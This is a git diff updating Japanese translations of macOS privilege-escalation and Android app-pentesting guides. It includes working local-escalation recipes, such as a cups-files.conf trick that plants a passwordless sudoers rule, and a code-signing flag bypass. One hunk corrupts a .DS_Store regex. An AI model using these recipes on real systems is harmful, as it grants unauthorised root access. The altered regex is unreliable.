+一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続を許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(例:/bin/ls)を取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。 ### フラグ`CS_REQUIRE_LV`と`CS_FORCED_LV`のバイパス -実行中のバイナリが自分のフラグを変更して、次のようなコードでチェックをバイパスすることが可能です: +実行中のバイナリが自分自身のフラグを変更してチェックをバイパスすることが可能です。コードは次のようになります: ```c // Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ int pid = getpid(); @@ -173,7 +173,7 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); ``` -## コード署名のバイパス +## バイパスコード署名 バンドルには、**`_CodeSignature/CodeResources`** というファイルが含まれており、これは **バンドル** 内のすべての **ファイル** の **ハッシュ** を含んでいます。CodeResources のハッシュは **実行可能ファイル** にも **埋め込まれている** ため、それをいじることはできません。 @@ -195,7 +195,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu rules2 ... -^(.*/)?\.DS_Store$ +^(.*/index.html)?\.DS_Store$ omit @@ -221,13 +221,13 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu ... ``` -CLIからリソースの署名を計算することができます: +リソースの署名をCLIから計算することが可能です: ```bash openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64 ``` -## DMGをマウントする +## Mount dmgs -ユーザーは、既存のフォルダーの上に作成されたカスタムDMGをマウントできます。これが、カスタムコンテンツを含むカスタムDMGパッケージを作成する方法です: +ユーザーは、既存のフォルダーの上に作成されたカスタムdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です: ```bash # Create the volume hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null @@ -257,7 +257,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg あなたのスクリプトが**シェルスクリプト**として解釈される場合、毎日トリガーされる**`/etc/periodic/daily/999.local`**シェルスクリプトを上書きすることができます。 -このスクリプトの実行を**偽装**することができます:**`sudo periodic daily`** +このスクリプトの実行を**偽装**するには、**`sudo periodic daily`**を使用できます。 ### デーモン @@ -278,37 +278,37 @@ hdiutil create -srcfolder justsome.app justsome.dmg ``` -`/Applications/Scripts/privesc.sh`を生成し、**root**として実行したい**コマンド**を記述します。 +Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root. -### Sudoersファイル +### Sudoers File -**任意の書き込み**が可能であれば、**`/etc/sudoers.d/`**フォルダ内にファイルを作成し、**sudo**権限を自分に付与することができます。 +If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges. -### PATHファイル +### PATH files -**`/etc/paths`**ファイルは、PATH環境変数を設定する主な場所の一つです。上書きするにはrootである必要がありますが、**特権プロセス**からスクリプトが**フルパスなしでコマンド**を実行している場合、このファイルを変更することで**ハイジャック**できるかもしれません。 +The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file. -また、**`/etc/paths.d`**にファイルを書き込むことで、`PATH`環境変数に新しいフォルダを追加することもできます。 +You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable. ### cups-files.conf この技術は[この書き込み](https://www.kandji.io/blog/macos-audit-story-part1)で使用されました。 -次の内容で`/etc/cups/cups-files.conf`ファイルを作成します: +Create the file `/etc/cups/cups-files.conf` with the following content: ``` ErrorLog /etc/sudoers.d/lpe LogFilePerm 777 ``` -このコマンドは、パーミッションが777の`/etc/sudoers.d/lpe`ファイルを作成します。最後の余分なゴミは、エラーログの作成をトリガーするためのものです。 +この操作により、パーミッションが777のファイル`/etc/sudoers.d/lpe`が作成されます。最後の余分なゴミはエラーログの作成をトリガーするためのものです。 -次に、`/etc/sudoers.d/lpe`に、特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。 +次に、`/etc/sudoers.d/lpe`に特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。 その後、再度`/etc/cups/cups-files.conf`ファイルを修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。 ### サンドボックスエスケープ -macOSのサンドボックスをFSの任意の書き込みでエスケープすることが可能です。いくつかの例については、[macOS Auto Start](../../../../macos-auto-start-locations.md)のページを確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにし、`open`を使用して呼び出すことです。 +FSの任意の書き込みを使用してmacOSサンドボックスをエスケープすることが可能です。いくつかの例については、ページ[macOS Auto Start](../../../../macos-auto-start-locations.md)を確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにして`open`を使用して呼び出すことです。 ## 他のユーザーとして書き込み可能なファイルを生成する @@ -326,7 +326,7 @@ echo $FILENAME ``` ## POSIX共有メモリ -**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいて、プロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()`と`close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。 +**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()`と`close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
@@ -422,9 +422,9 @@ return 0; ## macOS ガード付きディスクリプタ -**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、これらはカーネルによって強制されます。 +**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。 -この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスして**別の脆弱なスレッドにアクセスを許可する**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです: +この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスしているときに**別の脆弱なスレッドがそれにアクセスできる**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです: - `guarded_open_np`: ガード付きでFDをオープン - `guarded_close_np`: 閉じる diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 575af1dae..28834941c 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -65,19 +65,19 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht **Manifest.xml**から特定された**脆弱性**には以下が含まれます: - **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション(`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、デバイス上のデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。 -- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定して、特にUSBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐ必要があります。 +- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、特にUSBデバッグが有効になっている場合に、adbを介した不正なデータバックアップを防ぐことができます。 - **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。 - **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。 -- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの構成も注意深く確認する必要があります。 +- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。 - **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特にURLスキームが入力脆弱性に対してどのように管理されているかに注意を払う必要があります。 -- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調しています。 +- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。 -**strings.xml**ファイルからは、APIキー、カスタムスキーマ、およびその他の開発者ノートなどの機密情報が発見される可能性があり、これらのリソースを注意深くレビューする必要があります。 +**strings.xml**ファイルからは、APIキー、カスタムスキーマ、およびその他の開発者ノートなどの機密情報が発見される可能性があり、これらのリソースを注意深く確認する必要があります。 ### タップジャッキング -**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、実際には被害者アプリに対してその対話を渡しています。\ -実際には、**ユーザーが被害者アプリでアクションを実行していることを知らないようにしています**。 +**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、同時にその対話を被害者アプリに渡します。\ +実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。 詳細情報は以下を参照してください: @@ -87,7 +87,7 @@ tapjacking.md ### タスクハイジャック -**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションを使用していると思い込んでいる**)。 +**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションと対話していると思っている**)。 詳細情報は以下を参照してください: @@ -139,70 +139,70 @@ Androidでは、**内部**ストレージに**保存された**ファイルは SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. +良いテスト方法は、デバイス内でBurp CAを承認せずにBurpのようなプロキシを使用してトラフィックをキャプチャしようとすることです。また、Burpを使用して異なるホスト名の証明書を生成し、それを使用することもできます。 -### Broken Cryptography +### 壊れた暗号化 -**Poor Key Management Processes** +**不適切なキー管理プロセス** 一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。 -**Use of Insecure and/or Deprecated Algorithms** +**安全でないおよび/または廃止されたアルゴリズムの使用** -開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。たとえば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース耐性が必要です。 +開発者は、認証**チェック**、**保存**、または**送信**データを行うために**廃止されたアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。たとえば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。 -### Other checks +### その他のチェック -- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。 -- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。 +- 攻撃者のリバースエンジニアリング作業を困難にするために、**APKを難読化する**ことを推奨します。 +- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、結果に応じて行動する必要があります。 - アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。 - アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。 - [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。 -### React Native Application +### React Nativeアプリケーション -Read the following page to learn how to easily access javascript code of React applications: +ReactアプリケーションのJavaScriptコードに簡単にアクセスする方法については、以下のページをお読みください: {{#ref}} react-native-application.md {{#endref}} -### Xamarin Applications +### Xamarinアプリケーション -Read the following page to learn how to easily access C# code of a xamarin applications: +XamarinアプリケーションのC#コードに簡単にアクセスする方法については、以下のページをお読みください: {{#ref}} ../xamarin-apps.md {{#endref}} -### Superpacked Applications +### スーパー圧縮アプリケーション -According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** +この[**ブログ記事**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)によると、スーパー圧縮はアプリケーションの内容を単一のファイルに圧縮するメタアルゴリズムです。このブログでは、これらのアプリを解凍するアプリを作成する可能性について話しています... そして、**アプリケーションを実行してファイルシステムから解凍されたファイルを収集する**というより速い方法についても言及しています。 -### Automated Static Code Analysis +### 自動静的コード分析 -The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. +ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションの**コード**を**スキャン**することによって**脆弱性**を見つけることができます。このツールには、**ユーザーによって制御される**入力の**場所**を示す一連の**既知のソース**、悪意のあるユーザー入力が損害を引き起こす可能性のある**危険な****場所**を示す**シンク**、および**ルール**が含まれています。これらのルールは、脆弱性を示す**ソース-シンク**の**組み合わせ**を示します。 -With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. +この知識をもとに、**mariana-trenchはコードをレビューし、可能な脆弱性を見つけます**。 -### Secrets leaked +### 漏洩した秘密 -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +アプリケーションには、あなたが発見できるかもしれない秘密(APIキー、パスワード、隠されたURL、サブドメインなど)が含まれている可能性があります。ツール[https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)を使用できます。 -### Bypass Biometric Authentication +### 生体認証のバイパス {{#ref}} bypass-biometric-authentication-android.md {{#endref}} -### Other interesting functions +### その他の興味深い機能 -- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` -- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +- **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **SMS送信**: `sendTextMessage, sendMultipartTestMessage` +- **ネイティブ関数**として宣言された`native`: `public native, System.loadLibrary, System.load` +- [ネイティブ関数を**リバースエンジニアリングする方法**を学ぶにはこちらをお読みください](reversing-native-libraries.md) -### **Other tricks** +### **その他のトリック** {{#ref}} content-protocol.md @@ -212,116 +212,116 @@ content-protocol.md --- -## Dynamic Analysis +## 動的分析 -> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. +> まず、アプリケーションとすべての環境(主にBurp CA証明書、Drozer、Frida)をインストールできる環境が必要です。したがって、ルート化されたデバイス(エミュレートされたかどうかにかかわらず)が非常に推奨されます。 -### Online Dynamic analysis +### オンライン動的分析 -You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. +[https://appetize.io/](https://appetize.io)で**無料アカウント**を作成できます。このプラットフォームでは、APKを**アップロード**して**実行**できるため、APKの動作を確認するのに便利です。 -You can even **see the logs of your application** in the web and connect through **adb**. +アプリケーションの**ログをウェブで確認**し、**adb**を介して接続することもできます。 ![](<../../images/image (831).png>) -Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. +ADB接続のおかげで、エミュレーター内で**Drozer**と**Frida**を使用できます。 -### Local Dynamic Analysis +### ローカル動的分析 -#### Using an emulator +#### エミュレーターを使用する -- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). -- Learn to set it up in this page: +- [**Android Studio**](https://developer.android.com/studio)(**x86**および**arm**デバイスを作成でき、[**これ**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新のx86**バージョンは**ARMライブラリ**をサポートしています。遅いarmエミュレーターは必要ありません)。 +- このページで設定方法を学びます: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) -- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを避けるために、**VirtualBox**を含むバージョンを**ダウンロード**することを推奨します。_) +- [**Nox**](https://es.bignox.com)(無料ですが、FridaやDrozerはサポートしていません)。 > [!NOTE] -> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. +> 新しいエミュレーターを作成する際は、画面が大きいほどエミュレーターの動作が遅くなることを覚えておいてください。可能であれば、小さい画面を選択してください。 -To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: +GenymotionにGoogleサービス(AppStoreなど)をインストールするには、以下の画像の赤でマークされたボタンをクリックする必要があります: ![](<../../images/image (277).png>) -Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). +また、Genymotionの**Android VMの設定**で**ブリッジネットワークモード**を選択できることに注意してください(これは、ツールを使用して異なるVMからAndroid VMに接続する場合に便利です)。 -#### Use a physical device +#### 物理デバイスを使用する -You need to activate the **debugging** options and it will be cool if you can **root** it: +**デバッグ**オプションを有効にする必要があり、**ルート化**できると良いでしょう: -1. **Settings**. -2. (FromAndroid 8.0) Select **System**. -3. Select **About phone**. -4. Press **Build number** 7 times. -5. Go back and you will find the **Developer options**. +1. **設定**。 +2. (Android 8.0以降) **システム**を選択。 +3. **電話について**を選択。 +4. **ビルド番号**を7回押します。 +5. 戻ると、**開発者オプション**が表示されます。 -> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ -> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. +> アプリケーションをインストールしたら、最初に行うべきことは、それを試して、何をするのか、どのように機能するのかを調査し、快適に感じることです。\ +> **MobSF動的分析 + pidcat**を使用してこの初期動的分析を実行することをお勧めします。これにより、MobSFが後でレビューできる多くの**興味深い**データを**キャプチャ**しながら、**アプリケーションの動作を学ぶ**ことができます。 -### Unintended Data Leakage +### 意図しないデータ漏洩 -**Logging** +**ログ記録** -開発者は、**デバッグ情報**を公開することに注意すべきです。これは、機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、ツール[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は、その使いやすさと可読性から好まれます。 +開発者は、**デバッグ情報**を公開することに注意すべきです。これは、機密データの漏洩につながる可能性があります。アプリケーションのログを監視して機密情報を特定し保護するために、ツール[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は、その使いやすさと可読性から好まれます。 > [!WARNING] > **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\ > それでも、**機密情報をログに記録しない**ことを推奨します。 -**Copy/Paste Buffer Caching** +**コピー/ペーストバッファキャッシュ** -Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでは**コピー/ペースト**機能を無効にすることが重要です。 +Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードに**アクセス**できるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。 -**Crash Logs** +**クラッシュログ** -アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。 +アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特に、アプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。 ペンテスターとして、**これらのログを確認することをお勧めします**。 -**Analytics Data Sent To 3rd Parties** +**第三者に送信される分析データ** -アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により、機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。 +アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により、機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。 -### SQLite DBs +### SQLite DB -ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\ -データベースは`/data/data/the.package.name/databases`に位置する必要があります。例えば`/data/data/com.mwr.example.sieve/databases` +ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**および**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\ +データベースは`/data/data/the.package.name/databases`に位置し、例として`/data/data/com.mwr.example.sieve/databases`のようになります。 データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。 `.tables`を使用してテーブルを列挙し、`.schema `を実行してテーブルのカラムを列挙します。 -### Drozer (Exploit Activities, Content Providers and Services) +### Drozer(エクスプロイトアクティビティ、コンテンツプロバイダーおよびサービス) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ -Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. +[Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)から:**Drozer**は、**Androidアプリの役割を引き受け**、他のアプリと対話することを可能にします。これは、インストールされたアプリケーションができることは何でも行うことができ、Androidのプロセス間通信(IPC)メカニズムを利用し、基盤となるオペレーティングシステムと対話することができます。\ +Drozerは、**エクスポートされたアクティビティ、エクスポートされたサービス、およびコンテンツプロバイダーを**エクスプロイトするための便利なツールです。次のセクションで学ぶことになります。 -### Exploiting exported Activities +### エクスポートされたアクティビティのエクスプロイト -[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Also remember that the code of an activity starts in the **`onCreate`** method. +[**Androidアクティビティとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#launcher-activity-and-other-activities)\ +また、アクティビティのコードは**`onCreate`**メソッドから始まることを覚えておいてください。 -**Authorisation bypass** +**認証バイパス** -Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。 +アクティビティがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。 -[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) +[**Drozerを使用してエクスポートされたアクティビティをエクスプロイトする方法を学びます。**](drozer-tutorial/index.html#activities) -You can also start an exported activity from adb: +adbからエクスポートされたアクティビティを開始することもできます: -- PackageName is com.example.demo -- Exported ActivityName is com.example.test.MainActivity +- パッケージ名はcom.example.demoです +- エクスポートされたアクティビティ名はcom.example.test.MainActivityです ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン<21)でのみ危険なようです。 +**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン< 21)でのみ危険なようです。 > [!NOTE] -> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。 +> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が露出しているかによります。 **機密情報の漏洩** @@ -333,22 +333,22 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### **コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作** -[**コンテンツプロバイダーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\ +[**コンテンツプロバイダーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\ 